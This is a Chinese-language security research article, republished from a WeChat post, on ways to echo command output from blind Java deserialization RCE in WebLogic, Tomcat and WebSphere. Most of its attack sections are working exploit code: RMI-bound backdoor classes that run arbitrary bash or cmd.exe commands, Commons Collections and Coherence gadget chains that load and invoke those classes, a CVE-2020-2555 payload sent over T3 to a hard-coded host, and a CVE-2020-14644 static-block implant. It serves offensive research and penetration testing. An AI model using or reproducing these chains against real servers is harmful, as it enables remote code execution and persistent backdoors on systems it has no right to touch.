作者:Skay @ QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/0fWSp71yuaxL_TkZV65EwQ

閱讀文章前希望先對ClassLoader以及defineClass有了解。Java RCE中類反射獲取&動態加載

defineClass歸屬于ClassLoader類,目前很多java的回顯方式都是在其基礎上進行改進,其主要作用就是使用編譯好的字節碼就可以定義一個類。引用于y4er

一、回顯的幾種方式

  • 直接調用defineClass
  • RMI綁定實例結合
  • 獲取resp寫入回顯結果
  • 異常拋出 報錯回顯
  • 寫文件
  • Dnslog

二、回顯方式分析

1.RMI綁定實例結合

(1) RMI/IIOP RCE回顯的原理

基本原理

talk is cheap,let‘s see the code

1.定義一個Echo接口,繼承Remote類

public interface Echo extends Remote {
    String exec(String cmd) throws RemoteException;
}

2.實現這個接口

public class EchoImpl implements Echo{
    @Override
    public String exec(String cmd) throws RemoteException {
        InputStream in = null;
        try {
            in = Runtime.getRuntime().exec(cmd).getInputStream();
        }catch (Exception e){
            e.printStackTrace();
        }
        java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
        String result = s.hasNext()?s.next():"";
        return result;
    }
}

3.服務端綁定EchoImpl

public class EchoServer {
    public static void main(String[] args) throws Exception{
        Echo echo = new EchoImpl();
        Echo e = (Echo) UnicastRemoteObject.exportObject(echo,9999);
        Registry registry =  LocateRegistry.createRegistry(9999);
        registry.bind("Echo",e);
        System.out.println("Start RMI Server................");
    }
}

4.客戶端實現RMI遠程方法調用

public class EvilClient {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);
        Echo echo = (Echo) registry.lookup("Echo");
        System.out.println(echo.exec("ipconfig"));
    }
}

最終實現效果 圖片

上面RMI回顯原理有了,我們有了回顯的方法,現在只需再RCE的漏洞利用中,重現構造出上述步驟。

邏輯思路

  • 利用漏洞點調用ClassLoader的defineClass方法
  • 寫入類:defineClass在目標服務器運行返回我們構造的類(已經寫好的RMI接口類)
  • 綁定類:將RMI接口類綁定到目標服務器,也就是將我們構造的惡意類注冊到rmi注冊中心
  • 攻擊者本地遠程調用方法獲取回顯結果

首先,我們先將需要綁定的惡意類準備好。

我們需要目標存在一個繼承了Remote的接口,并且接口方法返回類型為String(因為要返回命令執行的結果)且拋出RemoteException異常,然后本地構造一個類實現這個接口。

直接在Remote類下Ctrl+H

圖片

weblogic_cmd用的是這個

圖片

本地構造EvilImpl

public class EvilImpl implements ClusterMasterRemote {
    @Override
    public void setServerLocation(String s, String s1) throws RemoteException {
    }
    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            List<String> cmds = new ArrayList<String>();
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

惡意類準備好了,接下來就是綁定到目標服務器。這里使用到的代碼

RemoteImpl remote = new RemoteImpl();
try {
    Context context = new InitialContext();
    context.rebind("Evil",remote);
} catch (Exception e) {
    e.printStackTrace();
}

在服務端執行上述代碼即可將而已類綁定到目標服務器,問題是我們怎么執行上述代碼? 將上述代碼寫到我們構造的EvilImpl main方法中,definClass獲取到EvilImpl 的 Class后直接利用CC或者coherence進行反射調用。

所以我們修改EvilImpl如下

public class EvilImpl implements ClusterMasterRemote {
    public static void main(String[] args) {
        EvilImpl remote = new EvilImpl();
        try {
            Context context = new InitialContext();
            context.rebind("Evil",remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    @Override
    public void setServerLocation(String s, String s1) throws RemoteException {
    }
    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            List<String> cmds = new ArrayList<String>();
            cmds.add("/bin/bash");
            cmds.add("-c");
            cmds.add(cmd);
            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

下面還剩最后一個問題,獲取defineClass,有多種實現方式,可以在Weblogic中找ClassLoader的子類,也可以從Thread中獲取,也可直接反射調用。

(2) Weblogic 結合CC鏈 回顯實現

上面回顯原理已經將大體流程說明完畢,CC的引入就是為了解決兩個問題,defineClass的獲取,以及EvilImpl類main方法的反射調用。

defineClass的獲取

網上大多是直接找的ClassLoader的子類

jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineClass
java.security.SecureClassLoader#defineClass(java.lang.String, byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass

org.mozilla.classfile.DefiningClassLoader#defineClass 使用這個

CC鏈構造

接下來就是結合CC利用鏈進行構造,首先獲取defineClass,然后調用我們EvilImple的main方法。CC是可以調用任意類的任意方法的,所以構造起來也很容易(當然了,是站在前人的肩膀上,手動狗頭)

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(DefiningClassLoader.class),
    new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
    new InvokerTransformer("defineClass",
                           new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    new ConstantTransformer(new HashSet())
};

至此,整個回顯過程就串起來了,weblogic的反序列化RCE為漏洞點,CC鏈串起來回顯的整個過程:從defineClass的調用到EvilImple的綁定,最后攻擊者本地調用遠程方法即可實現回顯。

(3) Weblogic 結合coherence鏈 回顯實現

雖然上述回顯已經成功,但是CC鏈早就被Weblogic放入了黑名單,且在18年補丁之后,Weblogic修改了自身的cc依賴,使之不能反序列化。新的漏洞需要實現回顯,需要重新找出一個可以替代CC的鏈 ---> coherence中的LimitFilter

首先復習以下CVE-2020-2555的利用鏈 BadAttributeValueExpException -> readObject -> LimitFilte的toString(Coherence中) -> ReflectionExtractor的extract() -> method.invoke()

payload如下

 // Runtime.class.getRuntime()
        ReflectionExtractor extractor1 = new ReflectionExtractor(
                "getMethod",
                new Object[]{"getRuntime", new Class[0]}
        );
        // get invoke() to execute exec()
        ReflectionExtractor extractor2 = new ReflectionExtractor(
                "invoke",
                new Object[]{null, new Object[0]}
        );
        // invoke("exec","calc")
        ReflectionExtractor extractor3 = new ReflectionExtractor(
                "exec",
                new Object[]{new String[]{"cmd", "/c", "calc"}}
        );
        ReflectionExtractor[] extractors = {
                extractor1,
                extractor2,
                extractor3,
        };
        ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
        LimitFilter limitFilter = new LimitFilter();
        //m_comparator
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, chainedExtractor);
        //m_oAnchorTop
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        // BadAttributeValueExpException toString()
        // This only works in JDK 8u76 and WITHOUT a security manager
        // https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, limitFilter);
        // serialize
        byte[] payload = Serializables.serialize(badAttributeValueExpException);
        // T3 send, you can also use python script. weblogic_t3.py
        T3ProtocolOperation.send("10.251.0.116", "7001", payload);
        // test
        serialize(badAttributeValueExpException);
        System.out.print(payload);
//        deserialize();
    }
    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("w2555.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

看到無回顯的CVE-2020-2555 payload 對于com.tangosol.util.filter.LimitFilter 的利用看起來真是似曾相識(commons-collections),,com.tangosol.util.extractor.ReflectionExtractor#extract中,調用了 invoke ,類比于CC中transform的invoke,模仿CC的回顯思路,構造coherence的回顯,關鍵的ReflectionExtractor[]構造如下

ValueExtractor[] valueExtractors = new ValueExtractor[]{
? ? new ReflectionExtractor("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
? ? new ReflectionExtractor("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
? ? new ReflectionExtractor("defineClass",
? ? ? ? ? ? ? ? ? ? ? ? ? ?new Class[]{String.class, byte[].class}, new Object[]{className, clsData}),
? ? new ReflectionExtractor("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
? ? new ReflectionExtractor("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
};

2.直接調用defineClass

(1) CVE-2020-14644 回顯實現

1.漏洞原理分析

Weblogic CVE-2020-14644 分析

大致可以認為,是可以執行我們自定義類中statice代買塊中的java代碼,也就是,執行任意Java代碼。

2.回顯實現

其實也是借用rmi實現的回顯,但是更方便了,我們不用再借用CC或者coherence將整個rmi回顯過程串聯起來了(也就是省去了defineClass獲取以及反射調用main綁定的步驟),直接將我們的回顯邏輯寫到static代碼塊中,目標服務器直接執行即可。

直接看我們要執行的staic代碼https://github.com/potats0/cve_2020_14644

public class test implements Remotable, ClusterMasterRemote {
    static {
        try {
            String bindName = "UnicodeSec";
            Context ctx = new InitialContext();
            test remote = new test();
            ctx.rebind(bindName, remote);
            System.out.println("installed");
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
    public test() {
    }
    @Override
    public RemoteConstructor getRemoteConstructor() {
        return null;
    }
    @Override
    public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
    }
    @Override
    public void setServerLocation(String var1, String var2) throws RemoteException {
    }
    @Override
    public String getServerLocation(String cmd) throws RemoteException {
        try {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            List<String> cmds = new ArrayList<String>();
            if (isLinux) {
                cmds.add("/bin/bash");
                cmds.add("-c");
                cmds.add(cmd);
            } else {
                cmds.add("cmd.exe");
                cmds.add("/c");
                cmds.add(cmd);
            }
            ProcessBuilder processBuilder = new ProcessBuilder(cmds);
            processBuilder.redirectErrorStream(true);
            Process proc = processBuilder.start();
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        } catch (Exception e) {
            return e.getMessage();
        }
    }
}

3.獲取resp寫入回顯結果

(1) Tomcat 通用回顯

目的:獲取返回包并寫入回顯內容

站在巨人肩膀上,實現邏輯如下 ,這里注意下Mbeans的利用(給自己留個坑)

Registry.getRegistry(null, null).getMBeanServer() -> JmxMBeanServer.mbsInterceptor -> DefaultMBeanServerInterceptor.repository -> Registory#query -> RequestInfo -> Http11Processor#getRequest() -> AbstractProcessor#getRequest() -> Request#getResponse() -> Response#doWrite()

具體實現demo 移步https://xz.aliyun.com/t/7535#toc-3

注:回顯需要結合在每個gadget中,在反序列化漏洞利用中才能起到真實效果。這里對于gadget的要求最好是可以直接執行java代碼,比如CC3 CC4,或者可以間接調用defineClass。當然了,如果漏洞本身就可以直接執行Java代碼,那是再方便不過了。

(2) Weblogic 2725 回顯

https://github.com/welove88888/CVE-2019-2725 這個項目中使用的回顯方式即先獲取當前現成,從中獲取返回respose,寫入回顯內容 代碼參考https://xz.aliyun.com/t/5299#toc-10

String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

結合CVE-2019-2725這個漏洞,需要將上面的類轉化為xml格式,weblogic xmldecoder反序列化漏洞,從漏洞角度來說,是支持調用任意類的任意方法,這里直接使用org.mozilla.classfile.DefiningClassLoader的defineClass方法將回顯寫入類實例化執行。 其實,這里也可以結合rmi實現回顯的方式,畢竟都可以調用defineClass了。

(3) Websphere 回顯

大體思路也是從線程中獲取request respose

參考http://blog.corener.cc/2020/04/28/Tomcat-Echo/#%E5%BD%A9%E8%9B%8B-websphere%E5%9B%9E%E6%98%BE

Thread t = Thread.currentThread();
Field wsThreadLocals = t.getClass().getDeclaredField("wsThreadLocals");
wsThreadLocals.setAccessible(true);
Object[] obs = (Object[])wsThreadLocals.get(t);
WebContainerRequestState wr = (WebContainerRequestState)obs[36];
wr.getCurrentThreadsIExtendedRequest().getRequestURL();

(4) Spring Boot 回顯

網上也有結合Spring Boot 進行回顯,弱弱說一句,直接可以利用中間件回顯,這個就Pass了先。

4.異常拋出 報錯回顯

(1) 帶回顯的攻擊RMI服務

這里我們需要跟一下RMI的流程中客戶端的lookup方法

站在巨人肩膀上(其實就是偷個懶)https://blog.csdn.net/qsort_/article/details/104861625

在UnicastRef類的newCall方法中與服務端建立Socket連接,并發送一些約定的數據

通過ref.invoke方法處理服務端響應回來的序列化數據。

因為在lookup之前執行了getRegisty方法,返回的是RegistryImpl_Stub對象,所以這里的lookup調用的是RegistryImpl_Stub的lookup,我們跟進,已經將關鍵位置標紅

圖片

1.首先進入UnicastRef類的newCall方法:

圖片

1.1 首先是獲取了一個TCP連接,可以看到是使用LiveRef去創建的連接,在調試RMIServer時,我們已經知道LiveRef中包含TCPEndpoint屬性,其中包含ip與端口等通信信息:

圖片

1.2再往下走,看到new了一個StreamRemoteCall對象,進入StreamRemoteCall的構造方法,其做了如下操作,往服務端發送了一些數據:

圖片

2.回到lookup繼續往下走,執行了ObjectOutput.writeObject,這里是將lookup方法中傳遞的遠程服務的名稱,即字符串“HelloService”進行了序列化并發往了服務端,然后又執行了super.ref.invoke方法,進入該方法如下,然后繼續往下走,

通過ref.invoke方法處理服務端響應回來的序列化數據。

圖片

3. lookup往下走,進入StreamRemoteCall類的executeCall方法,可以猜到該方法就是處理第7步往服務端發送數據后的服務端響應的數據,看到從響應數據中先讀取了一個字節,值為81,然后又繼續讀取一個字節賦值給var1,

圖片

下面是判斷var1的值,為1直接return,說明沒問題,如果為2的話,會先對對象進行反序列化操作,然后判斷是否為Exception類型

網上有關于帶回顯的攻擊RMI服務的exp,它就是將執行完命令后的結果寫到異常信息里,然后拋出該異常,這樣在客戶端就可以看到命令執行的結果了,這時得到的var1的值就是2

圖片

當上一步var1值為1時,說明沒問題,再回到lookup,會執行ObjectInput.readObject方法將服務端返回的數據反序列化,然后將該對象返回(前面我們也知道了,這里獲取到的其實是一個代理對象)。至此,客戶端整個請求的過程也梳理完了

(2) URLClassLoader加載遠程惡意類,拋出異常回顯

首先構造惡意類,將執行結果作為異常拋出

圖片

但后利用某個反序列化利用鏈,調用URLClassloader,遠程加載惡意類并執行實現回顯

這里是CC5

圖片

By the way URLClassLoader換成defineClass,利用起來不用出網了就。

5.寫文件

顧名思義,直接寫文件到目標,訪問讀取,不再贅述

6.Dnslog

dnslog方式

三、參考鏈接

https://y4er.com/post/java-deserialization-echo

https://xz.aliyun.com/t/7393

https://xz.aliyun.com/t/7228

https://github.com/5up3rc/weblogic_cmd

https://blog.sari3l.com/posts/fa80d225/

https://github.com/potats0/cve_2020_14644

https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/7535

https://xz.aliyun.com/t/5299

https://blog.csdn.net/qsort_/article/details/104861625

https://xz.aliyun.com/t/5257


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1442/